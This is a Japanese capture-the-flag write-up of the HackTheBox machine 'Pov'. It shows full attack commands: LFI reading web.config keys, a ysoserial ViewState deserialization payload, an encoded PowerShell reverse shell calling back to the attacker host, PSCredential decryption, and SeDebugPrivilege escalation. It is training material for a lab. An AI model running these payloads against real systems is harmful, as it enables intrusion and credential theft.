今回はHackTheBoxのMediumマシン「Pov」のWriteUpです。
名前からはどのようなマシンなのかよくわかりません。。楽しみです!
グラフはいつものMediumマシンといった感じでしょうか。
攻略目指して頑張ります~!
HackTheBoxって何?という方は下記の記事を見てみてください!一緒にハッキングしましょう〜!
また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!
Pov
列挙
それでは攻略を始めていきましょう。
まずはnmap
を実行します。
+[~/pov]
(σ▰>∇<)σ<10.10.14.8>$ sudo nmap -Pn -v -n -sV -p- --min-rate=1000 10.10.11.251
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
80番のみオープンしているようです。Windowsでは珍しいですね。
とりあえずブラウザでアクセスしてみましょう。
サイバーセキュリティ関連のプロジェクトである見守りサービス?のようなサイトが表示されました。タイトルを見るとpov.htb
とドメインを得ることができます。
現状、サイトを見ても特に気になる遷移はないので、サブドメインを列挙してみることにしました。
+[~/pov]
(σ▰>∇<)σ<10.10.14.8>$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -u http://pov.htb -H 'HOST: FUZZ.pov.htb' -fs 12330
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://pov.htb
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt
:: Header : Host: FUZZ.pov.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 12330
________________________________________________
dev [Status: 302, Size: 152, Words: 9, Lines: 2, Duration: 773ms]
:: Progress: [151265/151265] :: Job [1/1] :: 258 req/sec :: Duration: [0:10:02] :: Errors: 0 ::
dev
というサブドメインを発見しました。hosts
ファイルに追記しアクセスします。
新たなサイトが表示されました。
サイトの内容から、WEBの開発やUI/UXの設計を行っている「Stephen Fitz」という人のサービスを紹介するサイトであることがわかります。自己紹介もされています。
自己紹介の下に「Download CV」と書かれたボタンがあります。CVをダウンロードすることができるようなので、押下してみます。
PDFがダウンロードされました。PDFを取得したら、とりあえずexiftool
を実行するというのがマストなので、実行してみましょう。
+[~/pov]
(σ▰>∇<)σ<10.10.14.8>$ exiftool /home/kali/Downloads/cv.pdf
ExifTool Version Number : 12.76
File Name : cv.pdf
Directory : /home/kali/Downloads
File Size : 148 kB
File Permissions : -rw-r--r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.7
Linearized : No
Page Count : 1
Language : es
Tagged PDF : Yes
XMP Toolkit : 3.1-701
Producer : Microsoft® Word para Microsoft 365
Creator : Turbo
Creator Tool : Microsoft® Word para Microsoft 365
Create Date : 2023:09:15 12:47:15-06:00
Modify Date : 2023:09:15 12:47:15-06:00
Document ID : uuid:3046DD6C-A619-4073-9589-BE6776F405F2
Instance ID : uuid:3046DD6C-A619-4073-9589-BE6776F405F2
Author : Turbo
特に脆弱性は見つかりません。
Local File Inclusion
他にこのPDF関連で試せることがないかを調べるため、ダウンロードを行う際のリクエストを確認してみます。(わかりやすくするため、改行を入れています。)
POST /portfolio/default.aspx HTTP/1.1
Host: dev.pov.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 365
Origin: http://dev.pov.htb
Connection: close
Referer: http://dev.pov.htb/portfolio/default.aspx
Upgrade-Insecure-Requests: 1
__EVENTTARGET=download&
__EVENTARGUMENT=&
__VIEWSTATE=GGes3w8NTOCKxb8Tzgj%2B0DSB8vQs6FPiafaGqh3DSqvT6C0vJjsE4%2BCpLSh%2FjRfneTNUb9PTZcWOrkpMqZ%2BsmZaxkQ0%3D&
__VIEWSTATEGENERATOR=8E0F0FA3&
__EVENTVALIDATION=qJUjBQUjTYYadZqXYwdtDtBpCrrQwE6%2Flf69%2FRcFEByhzmzlx8PWh5AmEO6sh5uYOCpFiSeBFvD7UbeJauanyJh8LJsXIr%2Bajo67VMQToJ%2FZbaa%2FVkF5UBeb7aVC71cmk67Ogw%3D%3D&
file=cv.pdf
file
というパラメータが使用されています。もしかするとLFIに脆弱かもしれません。
まず..\
を使用してhosts
ファイルが読み取れるか試してみました。
-- request
file=..\..\..\Windows\System32\drivers\etc\hosts
-- response
[302] Object moved to <a href="/default.aspx?aspxerrorpath=/portfolio/default.aspx">here
ステータスコードは302で、ファイルを読み取ることはできませんでした。
もしかすると、..\
はいらない可能性があるので、C:\Windows\System32\drivers\etc\hosts
と入力し再度試してみます。
-- request
file=C:\Windows\System32\drivers\etc\hosts
-- response
[200] # Copyright (c) 1993-2009 Microsoft Corp. ~ 127.0.0.1 pov.htb dev.pov.htb
hosts
ファイルを出力されることができました!
では、LFIを悪用して列挙を進めます。IISのWEBサーバとして気になるのはweb.config
というファイルです。こちらのファイルの絶対パスはわからないので、..\
を使用し、読み取ります。
-- request
file=..\web.config
-- response
[200]
<configuration>
<system.web>
<customErrors mode="On" defaultRedirect="default.aspx" />
<httpRuntime targetFramework="4.5" />
<machineKey decryption="AES" decryptionKey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" validation="SHA1" validationKey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" />
</system.web>
web.config
を読み取ることに成功しました。
Remote Code Execution
ファイルの内容からASP.NET
のフレームワークのバージョンが4.5であることがわかります。このバージョン関連で脆弱性がないかを調べてみると、以下の記事を発見しました。
記事によると、ASP.NET
のフレームワークバージョンが4.5以上でEnableViewStateMac
などが特定の値の時、RCEを発火させることができるようです。
この攻撃には、ysoserial
が必要であるため、以下のリポジトリからダウンロードしてください。
では実際に攻撃を行いましょう。攻撃に際していくつかオプションを設定する必要があります。今回はそれぞれを以下のように設定することにしました。
-p : ViewState
-g : TextFormattingRunProperties
--path : /portfolio/default.aspx
--decryptionalg : AES
--decryptionkey : 74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43
--validationalg : SHA1
--validationkey : 5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468
-c : ping 10.10.14.8
--decryptionkey
や--validationkey
は、web.config
で出力された値をそのまま使用します。このオプションでysoserial
を実行しましょう。
PS C:\> .\ysoserial.exe -p ViewState -g TextFormattingRunProperties --path="/portfolio/default.aspx" --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" -c "ping 10.10.14.8"
1%2FPP1aNlur8DiTcOmmNn7qEGWuv5gDvcelzMt3FZV4ASO5DxZKCd4gwvK8GQYkvAnUOlHaBXus%2B6qYigG%2BtuEbFCb9fGU1isgm76OCX4eeQmZ3L9kwi9JOfao%2B%2FVIqmW%2F2P%2Fhxm9pycbJP%2F%2BvWg%2B5P1VpH1AH8iYxpgBmkhTB%2BGx7%2BJOGPjmFMWkzLdhyIU70OsPRnfl8LD2Vdg7HH4OtcVwEl5x7l2EYWWZlqG9hp2c307MB0g6BvhPz6eaT3wtSBoq%2F4y7xcRrwgf8jROYODIRkDPVteRF9HqYCYNDThOKmGVKl%2FGKlJunXE0Gk0XpOaN8uUlmhUa0dqNv0vTYRaJiMbPchFbeEp2W6MOQYG%2FwNwh%2FIZh%2B369faR6K%2F7O3EfADPSiGr5OSNrRXHT7iFwxnQ7FbyWr4x6L5tAF48wJqG%2FwVINOrN5mZNVcqtsE4FMS%2B%2FpZlxS9366AbXKFja%2FtCYtFguHJiKbHvxjgap3oa2UYGq0w2MuixOhXlZKdRhA%2Fp8aPcmk8WMbGQG041lvpgwNYSuYYjAIJuiioRQ9SE5bxMAcX81WxGDh3o8BQVON8gciqJYt%2BteR61lrJ2AgheC1aLqRm0hMVuInvsFDLJ1rBpD84XEFM3XkZnIigczHrjIFrW8qjfI4MHwPmEmI8mQkx%2Fy3a0%2BEvdnk2TG0OmwhewEHLkVaeECXdr4uGrGTh24vI7wYWVZnxGm0%2BFKnQ4jYYOoaR9YyGPzFwE3eW6AIz9yLLCnybfTWPpLyMW%2BKqC36D78c%2BOV1Jdpw1EgR6QAo42V1MDdbjX%2B3fdXdahB3th8k11%2FznqveTHBZodsSOcJjZ8YaOOwp0EdjnsdDeo85FyafzxMLrQp2riCzEYqBcLiJC6NKKL8s%2BaRHjOAKjgFYo4UyWv1nUEGKCk0xK9b6vHB%2FUBQcpz3Iswjy%2FiwTPfBGercIQpxA66BVLGio39I65bWAZSG7RMljCMf0%2F4GRKN5zbA9KJIEdbuaLky3n917B1ca7eH4zfMfUrichN55YKwjWGJgoe3qPFmLpEyS1vVlUniebJ%2F0o8XAJFhW6gtOFWFRsrLhmHf3IaQTnJxVpOF7F6p%2Fdn%2FcUNoOOhom8clwDeuNlG266LtztsgG5nNn4WEXBAUPwqXlk0pidCGO3UZ9mt5%2FFQA7MhGNg2iwAcHOBu6W5D31s61PfMGrgosQIDtD3H499wphR0DRyQ65HvGDVcIPcZmkbZw99YqkoDBVRt7OGGUClVdy9tyr60oDArOJ7MKCTMFhWAPpfVssfOV6TtOK%2B7M0w4B%2Bc%2Bn1rI%3D
実行に成功すると、ペイロードが出力されます。あとは、このペイロードを__VIEWSTATE
に指定し、リクエストを送信するだけです。
送信する前に、tcpdump
を実行しておきましょう。
+[~/pov]
(σ▰>∇<)σ<10.10.14.8>$ sudo tcpdump -i tun0 icmp
[sudo] password for kali:
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
これでping
通信を確認する準備が整ったので、リクエストを送信しましょう。
-- request
__VIEWSTATE=1%2FPP1aNlur8DiTcOmmNn7qEGWuv5gDvcelzMt3FZV4ASO5DxZKCd4gwvK8GQYkvAnUOlHaBXus%2B6qYigG%2BtuEbFCb9fGU1isgm76OCX4eeQmZ3L9kwi9JOfao%2B%2FVIqmW%2F2P%2Fhxm9pycbJP%2F%2BvWg%2B5P1VpH1AH8iYxpgBmkhTB%2BGx7%2BJOGPjmFMWkzLdhyIU70OsPRnfl8LD2Vdg7HH4OtcVwEl5x7l2EYWWZlqG9hp2c307MB0g6BvhPz6eaT3wtSBoq%2F4y7xcRrwgf8jROYODIRkDPVteRF9HqYCYNDThOKmGVKl%2FGKlJunXE0Gk0XpOaN8uUlmhUa0dqNv0vTYRaJiMbPchFbeEp2W6MOQYG%2FwNwh%2FIZh%2B369faR6K%2F7O3EfADPSiGr5OSNrRXHT7iFwxnQ7FbyWr4x6L5tAF48wJqG%2FwVINOrN5mZNVcqtsE4FMS%2B%2FpZlxS9366AbXKFja%2FtCYtFguHJiKbHvxjgap3oa2UYGq0w2MuixOhXlZKdRhA%2Fp8aPcmk8WMbGQG041lvpgwNYSuYYjAIJuiioRQ9SE5bxMAcX81WxGDh3o8BQVON8gciqJYt%2BteR61lrJ2AgheC1aLqRm0hMVuInvsFDLJ1rBpD84XEFM3XkZnIigczHrjIFrW8qjfI4MHwPmEmI8mQkx%2Fy3a0%2BEvdnk2TG0OmwhewEHLkVaeECXdr4uGrGTh24vI7wYWVZnxGm0%2BFKnQ4jYYOoaR9YyGPzFwE3eW6AIz9yLLCnybfTWPpLyMW%2BKqC36D78c%2BOV1Jdpw1EgR6QAo42V1MDdbjX%2B3fdXdahB3th8k11%2FznqveTHBZodsSOcJjZ8YaOOwp0EdjnsdDeo85FyafzxMLrQp2riCzEYqBcLiJC6NKKL8s%2BaRHjOAKjgFYo4UyWv1nUEGKCk0xK9b6vHB%2FUBQcpz3Iswjy%2FiwTPfBGercIQpxA66BVLGio39I65bWAZSG7RMljCMf0%2F4GRKN5zbA9KJIEdbuaLky3n917B1ca7eH4zfMfUrichN55YKwjWGJgoe3qPFmLpEyS1vVlUniebJ%2F0o8XAJFhW6gtOFWFRsrLhmHf3IaQTnJxVpOF7F6p%2Fdn%2FcUNoOOhom8clwDeuNlG266LtztsgG5nNn4WEXBAUPwqXlk0pidCGO3UZ9mt5%2FFQA7MhGNg2iwAcHOBu6W5D31s61PfMGrgosQIDtD3H499wphR0DRyQ65HvGDVcIPcZmkbZw99YqkoDBVRt7OGGUClVdy9tyr60oDArOJ7MKCTMFhWAPpfVssfOV6TtOK%2B7M0w4B%2Bc%2Bn1rI%3D
-- response
[302] Object moved to <a href="/default.aspx?aspxerrorpath=/portfolio/default.aspx">here
レスポンスは302が返ってきますが、tcpdump
を確認すると...
+[~/pov]
(σ▰>∇<)σ<10.10.14.8>$ sudo tcpdump -i tun0 icmp
[sudo] password for kali:
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
09:10:16.580798 IP pov.htb > 10.10.14.8: ICMP echo request, id 1, seq 1, length 40
09:10:16.580841 IP 10.10.14.8 > pov.htb: ICMP echo reply, id 1, seq 1, length 40
09:10:17.487319 IP pov.htb > 10.10.14.8: ICMP echo request, id 1, seq 2, length 40
09:10:17.487337 IP 10.10.14.8 > pov.htb: ICMP echo reply, id 1, seq 2, length 40
09:10:18.403560 IP pov.htb > 10.10.14.8: ICMP echo request, id 1, seq 3, length 40
09:10:18.403580 IP 10.10.14.8 > pov.htb: ICMP echo reply, id 1, seq 3, length 40
09:10:19.320343 IP pov.htb > 10.10.14.8: ICMP echo request, id 1, seq 4, length 40
09:10:19.320377 IP 10.10.14.8 > pov.htb: ICMP echo reply, id 1, seq 4, length 40
コマンドの実行に成功しました!
sfitz としてのシェル
それではシェルを取得しましょう。色々と方法はありますが、私はrevshells.com
の「PowerShell #3 (Base64)」を使用しました。
先ほどと同じようにペイロードを作成します。
PS C:\> .\ysoserial.exe -p ViewState -g TextFormattingRunProperties --path="/portfolio/default.aspx" --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" -c "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AOAAiACwAMgAxADIAMQApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
vDwp00aTd57b4vA3bxtxLyNTOAjfIsv1RFZc%2FFuFTwH6PH8dvvttUY2pGkazas5mCMggWOiYh3iSISiQ3V%2FKBknyweDsq8qRT%2Bd8IfyEbVVNcetD7G4iPUXlf3xqAqLI36CEnOGPWrTVPkWNHcJ%2Bt394AzKxtythWmi%2BF47ocIKKdZJ2PPWxMMstg0v9uvuUoLgMWn2Rhm1GYf%2BVwgqu52AtqTh6xN2pW9%2FYTV%2B6DrQN7LXof%2Fc%2BkwiyWCoRK7o7rMtBBTlOBAKB2%2Fj1m1%2FVF3aTqVbvI%2F1PCTLJv1qDDDQBh93pVeIHHJMbcN6q6zB0PWqAxMjZ6CGqbWMJNNoTMse7uUL13bPhxd73nUwo%2BOWlyTa7uoeubKzojKrcNnUIxNr6itaOeUqOHDyQAeBoNjq4Rct3WKEurZUDY5ya7ExVp5zhx8O54rNPyRfzKDKY2cJ05ZwsYqbrXFJVgfXE%2FaxnryEpRlihXK9aHiZKmH7kPRF4weztFVXkoLiJxSrkNwl0tfn9qtcM2OZuxTdNN4z9rFEcgY5cFK2d24mMP353%2FYcHB28TSSbLXGBLbWmefGBELPeW3IlFTW%2F%2BbTeSGJG6NHdXRkCDUbG4Rb%2B5zIKS413dBOup7LhC9jjN2LCPZhZrCfa6RsFTzlvVi46JEu%2BARhTvC7%2Bql9bDzZkbto2twOxr60WZ9x500CL72ZGgpPfkaCI6qh7kjmJrOfN3X9UXxa6MBWDglk6CPCk2wa%2B0DedRYvH0P0Jf51Ekjelinrse7%2BjvexTKE%2FitKNMaTg32JVFlVefTtQ2tdfKesl%2FtPSgb8O5tUb1kkA84NcG0UakF7LNBDKI9EgS%2BFA5Urz%2F4BCWdyDSMJsLBGoDHWz4wf3p1ApZB1hDnslLabgAkyaeJETkXU8b9QYyYKI687vbOzQStSWH%2Bc8VLIZBiu0fsD4wMhp4rA7SUCPxF211mS1ms7VCUfl8Kqb1qaeRX%2FTAl6YIQJeuJE%2BFRKehvLpRLWK1WXqyu6lRCHznShhmSD5hST9H3CuD%2BTjV3zAFxCK1xgQoOHrMdcffijTDM5bsqKH5rJzqdJ%2Bqt9A8mnbl2NETZwNytIByLeiH6W8Jpfr82bYFoPXhx52YUb8nxM2y0POJ0UyNx%2B3qkxIB59bEC1WqkaigR%2B4TsBgnrjvSLRPaIoIgu6n5omGBXkogYT%2FSM3bk2MebiqSwgsfObFjlnabTnF%2BjnRDzoMBzQZUu4d7pHA2yzwKSpW7vrnAWBAISkhbEQuzXDQPujjjV6hGXk%2B%2BLufqLWYjsrzN4I39K04o8nnT5uNU%2BTCo1F16frVRQZAIEcWx6Kf1Pbwxb%2Bw21xXRzFWBf9gZ2Cy3e1AnFLd4L6IIss0LcX6NeF0OSsCkaabd0F7JeN4SwRYW1BctdVSZVCKZYIi7bIfqccM7fi0njp1z%2BAWntTZmFJ3l%2FiuHnQE15QtkFRusLo4hJB3SidqNPFjtSlGzUditBRttK6JhHdfClceAqNFF1Dex5r3NccZav70CE9g5bX9WSrHrDDQESD5BanciidX1Kj7c%2FWTw%2F01NeOumvFGqYAi8S%2FmTk9BnV%2FXDiAbo%2BtEI1NQeimj0EqW5SPQLDjXat%2Fquo8f2P4erlhUFVUzb3W6me04rl3dykOgDuq%2FlUhlxif2QnIhQaDkB4VV%2BJaF4nWP1CddrH2S8XpuElZk%2BsWJodnR2hm4bnnvNatGY6xo%2B7pI9n5eGttrHgpozn1oPzuPp9IhnzITXi7o7R7mFN25sL5L2HOmdnnoeh67TFeKh8fOAdYBcuULKfq5vRB30Qimp7bgCSZy4gsiynejboty9tGD6RQZT88M7tBhSVKaIo51b3ufjp0OhGwnMNOQkaqrWUGWJJxAtoPfA1sqatUU0MUMutjLxOD7dXYC%2B4sEMUTZMGuX2YCwD%2FlpR4idLlLXhN%2FLzk9Lgetf%2FyaZJQnrY1RXPlDFFttoSgzyeMjufAkQzGxr8AMYQwEzBKkLp9Wn4nsVZmhDcl879HpEhxU%2BY%2FWrjymARjPj%2BPJ%2F%2Fxa3XzYRt5c%2BxgGcsscs2ZgfZ14AELP0ppcgjYvsPww3H7SSqxujqxnHpDLui12wuP98GqEUp%2BflfUb4nj4ka0XpYFsOYV%2FTkEp6YVUXDlk%2FUVXTp7KD88K4Olp65vJP8cR1RUSvqIWv3KMsYZMVzAcVnOrRDUbu0Q%2BgEAiL7opV1xCwuyUxkn22y0PP0BXFptGJ5bGCbljhcMMsiHNEhoQBwJZxEOoYm69rsqGdnSpwV2y%2F31sMBITqWttukSTt6VN4xY30ND8tcOUElwPrGH2iBj2l%2B1nY84kHURgasZDa0U3Wc4%2FCnthFIOV3YET96YpN%2BgOg6U4HE5uRilE99Zbm704ZMif7ISz0Wkv0WU1PCrCfsD%2BED7lO1DAhs3FWsHkNgywY0G1KbeCou8jX%2FtJB1Vstq%2FJzaAFk8H4WrsK9ix7TasZRz96DTfGikx1JeJMy4YI61g3m9mKa1uHT141cgzN8Q3eawB0ciVWm52Z5nKp7ttAviZqd5Yks79%2FGbzPf67HlmU3asKzxkCeJppO9AR2zTSvQkUdz0XobCvDDdVFJbR%2Fn96mrjVOWO8M72vh0KTWhN3LrKTAPD0MXzdiopNGPaAKmHveNpYYWGyaeWMsZ7XYPNWzCF9CX%2B1mi84dRwi7tKXza0fMaRFhlPDx0B8zdmz0sb0Ko%2F%2BKZmTrFSd84sYxtc%2FNllxasCs1M5TbPARUv3uAm%2BX1d1o2cPNORVlvvB5pESi9I%2F%2BESlwHKPU4IfJm3OsS%2F0UrzPGKJEu0QaUXUxhcm%2F5am6f1dTBo%2BXdHtrw0m5nkOnY3k3Bz7UggBzrx93dpLlom268jZhzIruRU6zgmS7NCYFVUHN0u33kN2lm%2FT49MinSxCfhj2gHXovay5Rv%2FP8TYmyAG7U3NdYR0G5E62Ejb%2FG5aBEOAdqPuZHcWDmciFOKAYEyEoXWxmONBGWqtBWI3PbFYZVFPbE4fgymJ3ywozZVTx1%2Ft1HjGUL1fgz2CvzdHyp7BhsMsnmDmWqiYQ4MXm7iS3%2FQbUbo8uU572X8fWw%3D%3D
リクエスト送信前に待ち受けを作成しておきます。
+[~/pov]
(σ▰>∇<)σ<10.10.14.8>$ rlwrap nc -lnvp 2121
listening on [any] 2121 ...
これで準備万端です!リクエストを送信し、待ち受けを確認しましょう。
+[~/pov]
(σ▰>∇<)σ<10.10.14.8>$ rlwrap nc -lnvp 2121
listening on [any] 2121 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.251] 49671
PS C:\windows\system32\inetsrv> whoami
pov\sfitz
シェルを取得できました!
横移動
sfitz
ユーザとしてのシェルを取得できましたが、まだユーザフラグを取得できなかったので、横移動が必要です。存在するユーザを確認するため、\Users
配下を確認します。
PS C:\Users> dir
Directory: C:\Users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 10/26/2023 4:31 PM .NET v4.5
d----- 10/26/2023 4:31 PM .NET v4.5 Classic
d----- 10/26/2023 4:21 PM Administrator
d----- 10/26/2023 4:57 PM alaading
d-r--- 10/26/2023 2:02 PM Public
d----- 12/25/2023 2:24 PM sfitz
alaading
というユーザを確認しました。存在するユーザの確認もできたので、列挙を始めていきます。
まず、\Users\sfitz
配下に怪しいファイルがないかを確認してみると、ドキュメントフォルダでXMLファイルを発見しました。
PS C:\Users\sfitz\Documents> dir
Directory: C:\Users\sfitz\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 12/25/2023 2:26 PM 1838 connection.xml
ファイル名からして怪しいので内容を確認してみます。
PS C:\Users\sfitz\Documents> type connection.xml
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<Obj RefId="0">
<TN RefId="0">
<T>System.Management.Automation.PSCredential</T>
<T>System.Object</T>
</TN>
<ToString>System.Management.Automation.PSCredential</ToString>
<Props>
<S N="UserName">alaading</S>
<SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb01000000cdfb54340c2929419cc739fe1a35bc88000000000200000000001066000000010000200000003b44db1dda743e1442e77627255768e65ae76e179107379a964fa8ff156cee21000000000e8000000002000020000000c0bd8a88cfd817ef9b7382f050190dae03b7c81add6b398b2d32fa5e5ade3eaa30000000a3d1e27f0b3c29dae1348e8adf92cb104ed1d95e39600486af909cf55e2ac0c239d4f671f79d80e425122845d4ae33b240000000b15cd305782edae7a3a75c7e8e3c7d43bc23eaae88fde733a28e1b9437d3766af01fdf6f2cf99d2a23e389326c786317447330113c5cfa25bc86fb0c6e1edda6</SS>
</Props>
</Obj>
</Objs>
alaading
のPSCredentialを発見しました!
このパスワードは暗号化されているので解読が必要ですが、Import-Clixml
を実行するだけで簡単に解読できます。
PS C:\Users\sfitz\Documents> $encryptedPassword = Import-Clixml -Path 'C:\Users\sfitz\Documents\connection.xml'
PS C:\Users\sfitz\Documents> $encryptedPassword.GetNetworkCredential().Password
f8gQ8fynP44ek1m3
パスワードが解読できました!
alaading としてのシェル
それでは、認証情報を使用しシェルを取得しましょう。
まずは待ち受けを作成しておきます。
+[~/pov]
(σ▰>∇<)σ<10.10.14.8>$ rlwrap nc -lnvp 2122
listening on [any] 2122 ...
これで準備万端です。シェルの取得には定番のRunasCs
を使用します。
PS C:\Users\Public\Downloads> .\RunasCs.exe alaading f8gQ8fynP44ek1m3 cmd.exe -r 10.10.14.8:2122
[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-eb5d7$\Default
[+] Async process 'C:\Windows\system32\cmd.exe' with pid 2064 created in background.
実行に成功していそうです。待ち受けを確認しましょう。
+[~/pov]
(σ▰>∇<)σ<10.10.14.8>$ rlwrap nc -lnvp 2122
listening on [any] 2122 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.251] 49674
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
pov\alaading
横移動に成功しました!
C:\Users\alaading\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 0899-6CAF
Directory of C:\Users\alaading\Desktop
01/11/2024 07:43 AM <DIR> .
01/11/2024 07:43 AM <DIR> ..
06/09/2024 01:22 AM 34 user.txt
1 File(s) 34 bytes
2 Dir(s) 7,185,960,960 bytes free
ユーザフラグも取得できました!
権限昇格
ユーザフラグも取得できたので、ここから権限昇格を目指していきましょう。
まずは権限を確認します。
C:\Users\alaading\Desktop>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeDebugPrivilege Debug programs Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeDebugPrivilege
が存在しています。この権限を悪用すると、システムメモリから機密情報を取得したり、カーネルやアプリケーションの構造にアクセス、変更が可能です。
まずはSYSTEM権限で実行されているタスクを確認します。
C:\Users\alaading\Desktop>tasklist
tasklist
Image Name PID Session Name Session# Mem Usage
========================= ======== ================ =========== ============
System Idle Process 0 Services 0 8 K
System 4 Services 0 156 K
Registry 88 Services 0 10,728 K
smss.exe 288 Services 0 1,212 K
csrss.exe 376 Services 0 5,396 K
wininit.exe 480 Services 0 7,004 K
csrss.exe 488 Console 1 4,948 K
winlogon.exe 552 Console 1 16,404 K
services.exe 620 Services 0 9,336 K
lsass.exe 628 Services 0 14,560 K
svchost.exe 752 Services 0 4,016 K
~
多くのタスクが出力されますが、私はいつもwinlogon.exe
を使用します。
system としてのシェル
それでは、権限昇格しましょう。まずは待ち受けを作成します。
+[/opt]
(σ▰>∇<)σ<10.10.14.8>$ rlwrap nc -lnvp 2123
listening on [any] 2123 ...
これで準備完了です。
winlogon.exe
のPIDを指定し、psgetsys.ps1
を実行しましょう。引数では「PowerShell #3 (Base64)」を使用しています。
